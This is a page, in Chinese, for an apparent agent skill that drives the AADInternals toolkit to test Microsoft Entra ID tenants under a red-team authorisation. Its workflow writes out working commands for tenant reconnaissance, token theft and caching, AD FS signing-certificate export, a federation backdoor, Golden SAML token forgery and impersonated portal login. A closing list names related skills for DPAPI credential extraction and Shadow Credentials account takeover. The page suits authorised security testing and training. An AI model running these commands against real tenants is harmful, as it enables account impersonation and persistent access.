Communitygithub.com

使用 AADInternals 稽核 Entra ID

驅動 AADInternals PowerShell 工具包,執行 Microsoft Entra ID 租戶偵察、跨 Microsoft API 的存取權杖獲取以及同盟/AD FS 後門測試(Golden SAML,T1606.002),以進行防禦性驗證。在授權的 Entra ID/Microsoft 365 紅隊演練中使用,以繪製外部攻擊面或驗證 AD FS 簽署憑證能否抵禦 Golden SAML 攻擊。

使用 AADInternals 稽核 Entra ID 是什麼?

此技能利用 AADInternals(由 Dr. Nestori Syynimaa 開發的最全面的 Microsoft Entra ID 攻擊/管理 PowerShell 工具包)進行授權的安全測試。它將能力分為不同層級:無需憑證的外部偵察(`Invoke-AADIntReconAsOutsider`)、使用有效憑證獲取第一方 Microsoft API 的存取權杖,以及需要全域管理員權限的進階操作,例如設定同盟後門(`ConvertTo-AADIntBackdoor`)和偽造 SAML 權杖(`New-AADIntSAMLToken`),對應到 MITRE ATT&CK 的 T1606.002(偽造 Web 憑證:SAML 權杖)。此技能採用防禦性驗證視角,確認外部攻擊者可發現的資訊、低權限權杖的影響範圍,以及同盟/AD FS 設定是否容易遭受 Golden SAML 攻擊。使用者遵循結構化工作流程,從未經授權的偵察開始,進展到權杖獲取、目錄列舉、同盟檢查,最後在明確授權的測試環境中,安全地驗證後門路徑。最終產出記錄了暴露面並提供具體的強化建議,例如保護權杖簽署憑證、監控同盟變更以及遷移至受控驗證。此技能支援 Windows 上的 PowerShell 5.1+,可在 GitHub 上取得,但需要書面授權才能進行身分識別攻擊測試。

相容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/auditing-entra-id-with-aadinternals

在你喜歡的 AI 中提問

開啟一個已預先載入此 Agent Skill 的新對話。

說明文件

使用 AADInternals 稽核 Entra ID 是做什麼的?

法律聲明: 此技能僅適用於授權的安全測試、紅隊演練及教育目的。AADInternals 能夠偽造 SAML 權杖並安裝同盟後門,從而允許對任何租戶使用者進行持續的偽裝。僅可針對您擁有或已獲得明確書面授權(測試規則)的租戶使用。未經授權的使用違反了「電腦詐欺與濫用法」及同等法律。

概述

AADInternals 是由 Dr. Nestori Syynimaa(Gerenios / Secureworks)所撰寫,最全面的 Microsoft Entra ID(原 Azure AD)、Azure AD Connect 及 Active Directory 同盟服務(AD FS)攻擊/管理 PowerShell 工具包。它公開了數百個 Cmdlet(均以 AADInt 為首碼),涵蓋未經驗證的外部人員偵察、每個 Microsoft API 的存取權杖獲取、目錄操作、AD FS/PTA 攻擊,以及它最著名的技術:同盟後門。此技術濫用 Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor 路徑,使控制同盟網域 IssuerUri 的攻擊者可以為任意使用者鑄造 SAML 權杖 — 對應到 MITRE ATT&CK T1606.002(偽造 Web 憑證:SAML 權杖),與 SolarWinds(Golden SAML)入侵事件中使用的是同一類技術。

該工具包根據所需權限位置區分能力。Invoke-AADIntReconAsOutsider 和 Get-AADIntLoginInformation 不需要任何憑證 — 它們查詢公開端點(getuserrealm、OpenID 設定、自動探索)來揭露已驗證的網域、租戶 ID、同盟類型、品牌,以及桌面/無縫 SSO 是否啟用。獲得立足點後,Get-AADIntAccessTokenFor* Cmdlet 可為 Azure AD Graph、Microsoft Graph、Exchange Online、SharePoint、Azure Core Management 等獲取權杖,並可選擇快取它們,以便後續的 Cmdlet 重複使用。擁有全域管理員(或已同步的 AD Connect 帳戶)權限後,該工具包可以讀取目錄機密、操作使用者,並建立同盟後門。

此技能透過防禦性驗證的視角驅動 AADInternals:確認外部攻擊者可以學到什麼、低權限權杖可以觸及哪些範圍,以及同盟/AD FS 設定是否容易遭受 Golden SAML 攻擊 — 然後產出證據和強化建議。

使用時機

  • 在授權的 Entra ID / Microsoft 365 紅隊或假設入侵評估期間
  • 在憑證攻擊之前列舉外部攻擊面(已驗證的網域、同盟類型、SSO)
  • 驗證同盟和 AD FS 權杖簽署憑證是否受到保護以抵禦 Golden SAML 攻擊
  • 測試跨 Microsoft 第一方 API 的權杖獲取和重放
  • 在建立偵測機制(搭配藍隊的 Graph 日誌狩獵技能)時,需要真實的 AADInternals 遙測資料

先決條件

  • 涵蓋身分識別攻擊和同盟後門測試的書面授權
  • 搭載 PowerShell 5.1+(或支援子集上的 PowerShell 7)的 Windows 主機
  • 對於後門/同盟測試:目標租戶中的全域管理員(或同等權限),且在 ROE 範圍內
  • 從 PowerShell Gallery 安裝模組:
    Install-Module AADInternals -Scope CurrentUser
    Import-Module AADInternals
    # 跨平台的僅限外部人員重新實作(無須憑證)也可取得:
    #   https://github.com/synacktiv/AADOutsider-py
    
  • 熟悉 SAML/WS-Federation、OAuth 權杖和 Azure AD Connect

目標

  • 執行未經驗證的租戶偵察,並列舉已驗證的網域、租戶 ID 和同盟類型
  • 獲取並快取 Microsoft 第一方 API 的存取權杖
  • 使用已驗證的權杖列舉使用者/群組/角色
  • 以受控且授權的方式測試同盟後門 / Golden SAML 路徑
  • 記錄暴露面並提供強化建議(權杖簽署憑證保護、同盟監控)

MITRE ATT&CK 映射

ID技術在此技能中的應用
T1606.002偽造 Web 憑證:SAML 權杖ConvertTo-AADIntBackdoor + New-AADIntSAMLToken 透過受控的同盟 IssuerUri(Golden SAML)為任意使用者偽造 SAML 權杖

相關技術:T1087.004 帳戶發現:雲端帳戶(偵察)、T1528 竊取應用程式存取權杖(權杖獲取)、T1556.007 修改驗證程序:混合身分識別(同盟/PTA 後門)。

工作流程

步驟 1:未經驗證的外部人員偵察

無需任何憑證。識別已驗證的網域、租戶 ID、同盟類型、品牌和 SSO 狀態。

# 對某個網域進行完整的外部人員偵察(表格輸出)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table

# 登入/領域詳細資料:同盟 vs 受控、AuthURL、品牌
Get-AADIntLoginInformation -Domain "target.com"

# 租戶 GUID
Get-AADIntTenantID -Domain "target.com"

步驟 2:外部使用者列舉(可選,有噪音)

透過 GetCredentialType / autologon 端點驗證使用者名稱是否存在。

# 提供候選 UPN 清單以測試存在性
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# 或管線傳入多個:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider

步驟 3:獲取並快取存取權杖

使用有效的憑證(或互動式提示),為您需要的 API 取得權杖。-SaveToCache 讓後續的 Cmdlet 自動重複使用該權杖。

# Azure AD Graph(舊版 graph.windows.net)權杖,已快取
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Microsoft Graph(graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph

# Exchange Online
$exo = Get-AADIntAccessTokenForEXO

步驟 4:已驗證的目錄列舉

使用已快取/獲取的權杖,讀取目錄物件以繪製權限地圖。

# 全域租戶資訊(使用快取的 AAD Graph 權杖)
Get-AADIntTenantDetails

# 列舉使用者並尋找有權限/已同步的帳戶
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId

步驟 5:檢查同盟 / AD FS 設定

判斷租戶是否使用同盟網域以及權杖簽署金鑰的存放位置 — 這是 Golden SAML 攻擊的先決條件。

# 如果您有 AD FS 伺服器的存取權,請匯出權杖簽署憑證
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# 讀取 AD FS 設定 / 加密金鑰(在 AD FS 主機上或透過 DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com

步驟 6:同盟後門 / Golden SAML(僅限授權使用)

透過設定已知的 IssuerUri 將網域轉換為後門,然後使用該網域的 ImmutableId 為目標使用者偽造 SAML 權杖。僅在受控且擁有明確授權的租戶中進行。

# 需要一個在步驟 3 中快取的全域管理員權杖(AAD Graph)
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# 輸出包含用於重複偽造權杖的 IssuerUri。

# 偽造一個模擬使用者的 SAML 權杖(ImmutableId 來自 Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
    -Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate

# 使用偽造的權杖以被模擬的使用者身分開啟入口網站工作階段
Open-AADIntOffice365Portal -SAMLToken $saml

步驟 7:記錄暴露面並強化

精確記錄偵察揭示了什麼、哪些權杖/API 可被存取,以及後門/Golden SAML 路徑是否成功。建議:保護 AD FS 權杖簽署憑證(HSM、限制 DKM 存取)、警報新的/變更的同盟信任、監控 Set-DomainAuthentication/Set-MsolDomainFederationSettings,並在可行時遷移至受控(雲端)驗證。

工具與資源

資源用途來源
AADInternalsEntra ID / AD FS 攻擊與管理工具包https://github.com/Gerenios/AADInternals
AADInternals 文件Cmdlet 參考與技術撰寫https://aadinternals.com/aadinternals/
AADOutsider-py跨平台的外部人員功能重新實作https://github.com/synacktiv/AADOutsider-py
Golden SAML 背景同盟後門技術解說https://aadinternals.com/post/aadbackdoor/
MITRE T1606.002偽造 Web 憑證:SAML 權杖https://attack.mitre.org/techniques/T1606/002/

Cmdlet 快速參考

Cmdlet所需權限位置用途
Invoke-AADIntReconAsOutsider無已驗證的網域、租戶 ID、同盟類型、SSO
Get-AADIntLoginInformation無某個網域的領域/登入詳細資料
Get-AADIntTenantID無租戶 GUID
Invoke-AADIntUserEnumerationAsOutsider無驗證使用者是否存在
Get-AADIntAccessTokenForAADGraph憑證Azure AD Graph 權杖(-SaveToCache)
Get-AADIntAccessTokenForMSGraph憑證Microsoft Graph 權杖
Get-AADIntAccessTokenForEXO憑證Exchange Online 權杖
Get-AADIntUsers權杖列舉目錄使用者
ConvertTo-AADIntBackdoor全域管理員將網域轉換為同盟後門
New-AADIntSAMLToken後門為使用者偽造 SAML 權杖(Golden SAML)
Open-AADIntOffice365PortalSAML 權杖以被模擬的使用者身分開啟入口網站工作階段

驗證標準

  • 已完成外部人員偵察;已記錄已驗證的網域、租戶 ID 和同盟類型
  • 已測試使用者列舉(或記錄為超出範圍)
  • 已為至少一個 Microsoft API 取得並快取存取權杖
  • 已執行已驗證的目錄列舉(記錄使用者/角色、已同步的帳戶)
  • 已評估同盟 / AD FS 設定的權杖簽署金鑰暴露情況
  • 已在授權的受控租戶中測試後門 / Golden SAML 路徑,或記錄為超出範圍
  • 已記錄暴露面並附上具體影響
  • 已提供強化建議(憑證保護、同盟監控、受控驗證遷移)

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

相關技能